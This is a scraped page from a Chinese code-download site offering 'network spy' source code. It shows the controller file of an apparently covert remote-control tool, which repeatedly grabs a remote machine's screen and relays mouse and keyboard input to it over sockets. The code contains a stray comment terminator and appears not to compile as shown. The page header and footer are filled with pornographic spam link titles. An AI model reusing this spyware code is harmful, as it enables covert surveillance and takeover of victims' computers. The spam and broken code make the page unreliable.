亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? childwin.cpp

?? C++網絡間諜源碼
?? CPP
字號:
//---------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include <stdio.h>

#include "ChildWin.h"
#include "Main.h"
#include "FullScr.h"
#include "Socket.h"
//---------------------------------------------------------------------
#pragma resource "*.dfm"
//---------------------------------------------------------------------
__fastcall TMDIChild::TMDIChild(TComponent *Owner)
	: TForm(Owner)
{
}
//---------------------------------------------------------------------

void __fastcall TMDIChild::FormClose(TObject *Sender, TCloseAction &Action)
{
	Action = caFree;  // 關閉后自動釋放資源
}
//---------------------------------------------------------------------

void __fastcall TMDIChild::Capture()
{
	TRecvStreamThread *RecvThread = new TRecvStreamThread(true);
	RecvThread->FreeOnTerminate = true;  // 線程執行完畢自動釋放資源
	RecvThread->RemoteAddress = RemoteAddress;  // 指定主機IP
	RecvThread->CL = CL;  // 色深
	RecvThread->CQ = CQ;  // 品質
	RecvThread->RemoteScreen = Image1;
	RecvThread->StatusBar = StatusBar1;
  int sock=Connect_Server(RemoteAddress, LISTENPORT);
  Write_Socket(sock, "2\n");
  AnsiString read=Socket_Readln(sock);
  closesocket(sock);
  this->Caption=RemoteAddress+"("+read+")";
  int pos = read.Pos("*");
  R_Width=StrToIntDef(read.SubString(1,pos-1),0);
  read = read.SubString(pos+1,read.Length()-pos);
  R_Height=StrToIntDef(read,0);
  
	RecvThread->Resume();  // 開始執行線程
}


void __fastcall TMDIChild::FormShow(TObject *Sender)
{
	// 設置初始的窗口大小
	ClientWidth = 800;
	ClientHeight = 600;
  Timer1->Enabled=true;
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::N3Click(TObject *Sender)
{
	// 將圖象保存為文件
	if (MainForm->SPDialog->Execute())
		Image1->Picture->Bitmap->SaveToFile(MainForm->SPDialog->FileName);
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::N2Click(TObject *Sender)
{
	// 全屏顯示
	FullScrForm->Image1->Picture = Image1->Picture;
	FullScrForm->Show();
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*R_Width/Image1->Width;
Ry=Y*R_Height/Image1->Height;
sprintf(text,"Mouse Pos:(%04d,%04d)",Rx,Ry);
StatusBar1->Panels->Items[1]->Text=text;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
sprintf(text,"3\n1\n%d\n%d\n",Rx,Ry);
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //連接
Write_Socket(sock, text);         //發送
closesocket(sock);     //關閉
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseDown(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
switch(Button)
  {
  case mbLeft:
    sprintf(text,"3\n2\n%d\n%d\n",Rx,Ry);
    break;
  case mbRight:
    sprintf(text,"3\n4\n%d\n%d\n",Rx,Ry);
    break;
  case mbMiddle:
    sprintf(text,"3\n6\n%d\n%d\n",Rx,Ry);
    break;

  }
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //連接
Write_Socket(sock, text);          //發送
closesocket(sock);   //關閉

}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseUp(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
switch(Button)
  {
  case mbLeft:
    sprintf(text,"3\n3\n%d\n%d\n",Rx,Ry);
    break;
  case mbRight:
    sprintf(text,"3\n5\n%d\n%d\n",Rx,Ry);
    break;
  case mbMiddle:
    sprintf(text,"3\n7\n%d\n%d\n",Rx,Ry);
    break;

  }
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //連接
Write_Socket(sock, text);         //發送
closesocket(sock);            //關閉

}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::FormHide(TObject *Sender)
{
Timer1->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Timer1Timer(TObject *Sender)
{
Capture();
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Edit1KeyDown(TObject *Sender, WORD &Key,
      TShiftState Shift)
{
char text[32];
int fff;
if (Key== VK_LBUTTON)    fff= 1 ;//0x01;
if (Key==VK_RBUTTON) fff= 2;//       0x02 ;
if (Key== VK_CANCEL) fff= 3;//        0x03 ;
if (Key== VK_MBUTTON ) fff=4;//       0x04 ;

if (Key== VK_XBUTTON1) fff= 5;//      0x05;
if (Key==VK_XBUTTON2)  fff= 6;//    0x06 ;

if (Key== VK_BACK) fff=8; // 0x08;
if (Key== VK_TAB ) fff=9; //  0x09;

if (Key== VK_CLEAR) fff=12;// 0x0C;
if (Key== VK_RETURN) fff=13;     //    0x0D;
if (Key== VK_SHIFT) fff=16; // 0x10;
if (Key== VK_CONTROL) fff=17; //       0x11;
if (Key==VK_MENU )   fff=18;// 0x12;
if (Key==VK_PAUSE )  fff=19;// 0x13;
if (Key== VK_CAPITAL)   fff=20; //    0x14;

if (Key== VK_KANA    )   fff=21;  //      0x15 ;
if (Key== VK_HANGEUL )   fff=21;   //     0x15 ; /* old name - should be here for compatibility */
if (Key== VK_HANGUL     )   fff=21; //    0x15 ;
if (Key==VK_JUNJA     )   fff=23;   //   0x17  ;
if (Key==VK_FINAL   )   fff=24;     //   0x18  ;
if (Key==VK_HANJA     )   fff=25;   //   0x19  ;
if (Key== VK_KANJI      )   fff=25;  //   0x19  ;

if (Key== VK_ESCAPE     )   fff=27;  //   0x1B  ;

if (Key== VK_CONVERT   )   fff=28;    //  0x1C  ;
if (Key==VK_NONCONVERT )   fff=29;   //  0x1D   ;
if (Key== VK_ACCEPT     )   fff=30;  //   0x1E  ;
if (Key==VK_MODECHANGE  )   fff=31;  //  0x1F   ;

if (Key==VK_SPACE )   fff=32;         // 0x20   ;
if (Key==VK_PRIOR      )   fff=33;    // 0x21   ;
if (Key==VK_NEXT      )   fff=34;     // 0x22   ;
if (Key==VK_END )   fff=35;           // 0x23   ;
if (Key== VK_HOME  )   fff= 36;       //  0x24  ;
if (Key==VK_LEFT      )   fff=37;     // 0x25   ;
if (Key==VK_UP      )   fff=38;       // 0x26   ;
if (Key==VK_RIGHT )   fff=39;        //  0x27   ;
if (Key==VK_DOWN   )   fff=40;       //  0x28   ;
if (Key==VK_SELECT    )   fff=41;    //  0x29   ;
if (Key==VK_PRINT    )   fff=42;     //  0x2A   ;
if (Key== VK_EXECUTE   )   fff=43;   //   0x2B  ;
if (Key==VK_SNAPSHOT  )   fff=44;    //  0x2C   ;
if (Key==VK_INSERT    )   fff=45;    //  0x2D   ;
if (Key==VK_DELETE   )   fff=46;     //  0x2E   ;
if (Key== VK_HELP     )   fff=47;    //   0x2F  ;

/*
 * VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39)
 * 0x40 : unassigned
 * VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A)
 */

if (Key== VK_LWIN    )   fff=91;      //  0x5B  ;
if (Key==VK_RWIN     )   fff=92;      // 0x5C   ;
if (Key==VK_APPS    )   fff=93;       // 0x5D   ;

/*
 * 0x5E : reserved
 */

if (Key==VK_SLEEP    )   fff=94;     //  0x5F   ;

if (Key==VK_NUMPAD0   )   fff=95;    //  0x60  ;
if (Key==VK_NUMPAD1   )   fff=96;    //  0x61  ;
if (Key==VK_NUMPAD2   )   fff=97;    //  0x62  ;
if (Key==VK_NUMPAD3   )   fff=98;     // 0x63  ;
if (Key==VK_NUMPAD4   )   fff=99;    //  0x64  ;
if (Key==VK_NUMPAD5    )   fff=100;  //   0x65  ;
if (Key==VK_NUMPAD6     )   fff=101;  //  0x66  ;
if (Key==VK_NUMPAD7  )   fff=102;     //  0x67  ;
if (Key==VK_NUMPAD8    )   fff=103;   //  0x68  ;
if (Key==VK_NUMPAD9   )   fff=104;    //  0x69  ;
if (Key==VK_MULTIPLY   )   fff=105;   //  0x6A  ;
if (Key==VK_ADD       )   fff=106;    //  0x6B  ;
if (Key==VK_SEPARATOR  )   fff=107;   //  0x6C  ;
if (Key==VK_SUBTRACT   )   fff=108;   //  0x6D  ;
if (Key==VK_DECIMAL   )   fff=109;    //  0x6E  ;
if (Key==VK_DIVIDE      )   fff=110;  //  0x6F  ;
if (Key==VK_F1         )   fff=111;   //  0x70  ;
if (Key==VK_F2       )   fff= 112;    //  0x71  ;
if (Key==VK_F3     )   fff=  113;     //  0x72  ;
if (Key==VK_F4    )   fff=  114;     //   0x73  ;
if (Key==VK_F5   )   fff=  115;      //   0x74  ;
if (Key==VK_F6        )   fff=116;   //   0x75  ;
if (Key==VK_F7    )   fff= 117;      //   0x76  ;
if (Key==VK_F8         )   fff=118;  //   0x77  ;
if (Key==VK_F9    )   fff=  119;     //   0x78  ;
if (Key==VK_F10     )   fff=120;     //   0x79  ;
if (Key==VK_F11     )   fff=121;     //   0x7A  ;
if (Key==VK_F12      )   fff=122;    //   0x7B  ;
if (Key==VK_F13     )   fff= 123;    //   0x7C  ;
if (Key==VK_F14    )   fff= 124;     //   0x7D  ;
if (Key==VK_F15    )   fff= 125;    //    0x7E  ;
if (Key==VK_F16    )   fff= 126;    //    0x7F  ;
if (Key==VK_F17     )   fff=127;    //    0x80  ;
if (Key==VK_F18      )   fff= 128;   //   0x81  ;
if (Key==VK_F19   )   fff= 129;      //   0x82  ;
if (Key==VK_F20        )   fff=130;  // 0x83  ;
if (Key==VK_F21       )   fff= 131;  //   0x84  ;
if (Key==VK_F22       )   fff= 132;   //  0x85  ;
if (Key==VK_F23     )   fff= 133;    // 0x86  ;
if (Key==VK_F24       )   fff= 134;  //   0x87 ;

/*
 * 0x88 - 0x8F : unassigned
 */

if (Key== VK_NUMLOCK )   fff= 144;  //     0x90 ;
if (Key== VK_SCROLL  )   fff= 145;//       0x91 ;

*/






//    fff = toascii(Key);

//   if (Key != VK_NUMLOCK)  ShowMessage( Key);
    sprintf(text,"4\n%d\n",fff);


int sock=Connect_Server(RemoteAddress, LISTENPORT);  //連接
Write_Socket(sock, text);         //發送
closesocket(sock);            //關閉


 }
//---------------------------------------------------------------------------

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美成人video| 午夜激情一区二区三区| 亚洲自拍偷拍综合| 久久国产福利国产秒拍| 精品国产三级电影在线观看| 国产精品久久久久国产精品日日| 亚洲.国产.中文慕字在线| 国产精品456| 日韩一区二区三区在线观看| 一区二区在线观看视频 | wwwwxxxxx欧美| 亚洲综合免费观看高清完整版| 国产一区二区福利| 91精品国产全国免费观看| 亚洲美女电影在线| 成人黄色777网| 久久久久国产免费免费| 久久精品久久综合| 欧美三区免费完整视频在线观看| 国产精品女主播在线观看| 久久se这里有精品| 日韩三级视频中文字幕| 亚洲风情在线资源站| 欧美在线综合视频| 一级做a爱片久久| 99精品欧美一区二区三区小说| 久久色在线视频| 精品一区二区三区久久久| 91精品国产色综合久久久蜜香臀| 亚洲不卡av一区二区三区| 91蝌蚪国产九色| 亚洲女同女同女同女同女同69| fc2成人免费人成在线观看播放 | 中文字幕日韩av资源站| 成人午夜碰碰视频| 国产精品嫩草影院av蜜臀| 国产裸体歌舞团一区二区| 精品奇米国产一区二区三区| 蜜桃视频在线观看一区| 91精品国产福利在线观看| 日韩高清中文字幕一区| 欧美一区二区日韩| 久久疯狂做爰流白浆xx| 精品久久久久久久久久久久包黑料 | 麻豆精品新av中文字幕| 日韩精品在线网站| 国产自产高清不卡| 国产精品久久久久久久久图文区 | 久久狠狠亚洲综合| 欧美变态口味重另类| 黄色资源网久久资源365| 久久精品一区四区| 91一区二区在线| 亚洲国产欧美在线| 日韩一级黄色片| 国产电影一区二区三区| 亚洲私人影院在线观看| 欧美色精品天天在线观看视频| 五月天一区二区三区| 亚洲黄色免费电影| 欧美日韩电影一区| 国产伦精品一区二区三区视频青涩| 国产精品无码永久免费888| 在线日韩一区二区| 国内精品免费在线观看| 综合欧美亚洲日本| 91精品国产综合久久久久久久| 精品夜夜嗨av一区二区三区| 中文字幕日本不卡| 日韩三级中文字幕| 色香色香欲天天天影视综合网| 偷窥国产亚洲免费视频| 国产女人18水真多18精品一级做| 色综合久久66| 狠狠v欧美v日韩v亚洲ⅴ| 亚洲欧美一区二区不卡| 欧美成人猛片aaaaaaa| 色综合久久久网| 久久99精品久久久久久国产越南| 亚洲日本欧美天堂| 2021中文字幕一区亚洲| 欧美日韩另类一区| 粉嫩av一区二区三区粉嫩| 香蕉成人啪国产精品视频综合网| 国产丝袜欧美中文另类| 日韩一区二区免费电影| 91麻豆国产精品久久| 国产精品18久久久久| 视频一区视频二区中文| 国产精品不卡一区| 国产三级三级三级精品8ⅰ区| 欧美美女网站色| 色悠悠久久综合| 国产麻豆欧美日韩一区| 日韩高清不卡一区| 亚洲欧美二区三区| 国产精品三级视频| 久久久久久99久久久精品网站| 91精品麻豆日日躁夜夜躁| 91官网在线观看| 91麻豆精品在线观看| 波多野结衣在线aⅴ中文字幕不卡| 麻豆成人av在线| 日本亚洲欧美天堂免费| 亚洲成精国产精品女| 综合在线观看色| 欧美国产视频在线| 久久久久久亚洲综合| 日韩午夜电影在线观看| 欧美精品精品一区| 欧美三级视频在线播放| 在线免费观看不卡av| 在线一区二区视频| 色欧美片视频在线观看| 91久久精品一区二区| 在线观看一区二区精品视频| 91女厕偷拍女厕偷拍高清| www.性欧美| 99视频在线精品| 色乱码一区二区三区88| 欧美视频一区在线| 欧美久久高跟鞋激| 欧美精品免费视频| 日韩欧美精品在线| 久久久蜜桃精品| 国产精品拍天天在线| 亚洲三级在线观看| 亚洲va欧美va国产va天堂影院| 午夜在线成人av| 蜜乳av一区二区| 国产精品一区在线| av电影在线观看一区| 91福利社在线观看| 欧美一区欧美二区| 亚洲电影视频在线| 日本伊人午夜精品| 激情综合色综合久久| 国产成人丝袜美腿| 一本色道亚洲精品aⅴ| 欧美高清视频在线高清观看mv色露露十八 | 久久99精品久久久久久国产越南| 国产资源精品在线观看| 不卡免费追剧大全电视剧网站| 91在线无精精品入口| 欧美最猛性xxxxx直播| 7799精品视频| 国产欧美一区二区精品仙草咪| 亚洲男人的天堂在线观看| 轻轻草成人在线| 国产久卡久卡久卡久卡视频精品| 99精品视频一区| 91精品国产综合久久小美女| 欧美韩国一区二区| 五月婷婷欧美视频| 国产99久久久国产精品潘金网站| 91视频观看免费| 欧美成人激情免费网| 亚洲你懂的在线视频| 韩国毛片一区二区三区| 在线免费不卡电影| 日本一二三不卡| 日本sm残虐另类| 色呦呦国产精品| 欧美国产精品v| 另类中文字幕网| 精品视频一区二区三区免费| 久久久精品天堂| 日韩av成人高清| 欧美中文字幕一区| 中文字幕免费一区| 看电影不卡的网站| 欧美日韩一区二区三区在线| 国产欧美1区2区3区| 蜜臀91精品一区二区三区| 色婷婷综合中文久久一本| 国产亚洲精品aa| 蜜桃视频免费观看一区| 欧美日韩高清一区二区不卡| 最新久久zyz资源站| 国产一区二区按摩在线观看| 欧美日本免费一区二区三区| 亚洲欧洲日韩女同| 风间由美一区二区av101| 日韩一区二区三区精品视频| 亚洲韩国一区二区三区| 色综合天天在线| 国产精品欧美一级免费| 国产成人在线视频网站| 精品国产伦一区二区三区观看方式 | 三级欧美在线一区| 色老汉一区二区三区| 成人免费在线视频观看| 顶级嫩模精品视频在线看| 26uuu另类欧美| 精品一区二区综合| 日韩免费看的电影| 麻豆成人综合网| 日韩欧美国产一区二区三区| 奇米影视一区二区三区| 欧美一二三四在线|